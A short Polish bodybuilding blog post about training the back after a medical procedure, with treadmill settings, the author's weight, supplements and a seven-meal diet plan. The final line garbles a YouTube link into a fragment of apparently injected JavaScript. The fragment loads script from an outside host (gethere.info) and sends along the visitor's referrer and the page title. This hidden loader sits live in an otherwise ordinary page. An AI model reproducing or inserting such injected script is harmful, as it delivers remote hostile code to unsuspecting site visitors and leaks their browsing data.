Trening pleców po zabiegu

22.01.2012 / Michał Karmowski

Wczoraj pierwszy raz po zabiegu trenowałem plecy, miało być lekko ale na trening przyjechał mój podopieczny Bartek  i jak na ten okres zrobiłem je dość cieżko na koniec dobiłem bicepsy i zrobiłem 20 minutową sesję cardio na bieżni. Myślałem , że po przerwie będzie mi ciężko utrzymać tempo ale chodziłem jak zawsze 7,0km/h i 11%incline:-)

Waga na dzień dziesiejszy to 112kg i nie powiem żebym czuł się komfortowo , ale taka kolej rzeczy…, od poniedziałku będę trenował 4 razy w tyg trenując każdą grupę jeden raz. Nie będę szalał z cieżarami dlatego zakres powtórzeń to 15-20 w seriach. Na razie nie zwiekszam w tym tygodniu jedzenia i nie dodaję żadnych suplementów poza TRIBULONEM BLACK I GH TURBO , które stosuję cały czas.

Obecna dieta:

1-300g białek, 130g płatków owsianych, 50g orzechów,

2-150g wołowiny, 50g ryzu, 20g oleju lnianego, 200g brokułów

3-150g indyka, 50g ryżu, awokado, 200g fasoli szparagowej

TRENING- po treningu posiłek

4-150g indyka, 100g ryzu

5-150g wołowiny, 50g ryzu, 20g oleju lnianego, 200g brokułów

6-150g indyka,50g ryżu , 20g oliwy z oliwek, 200g pomidorów

7-300g białek jaj, 50g masła migdałowego:-)

httpv://www.youtube.com/watch?v=OkR1OIOXoecs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;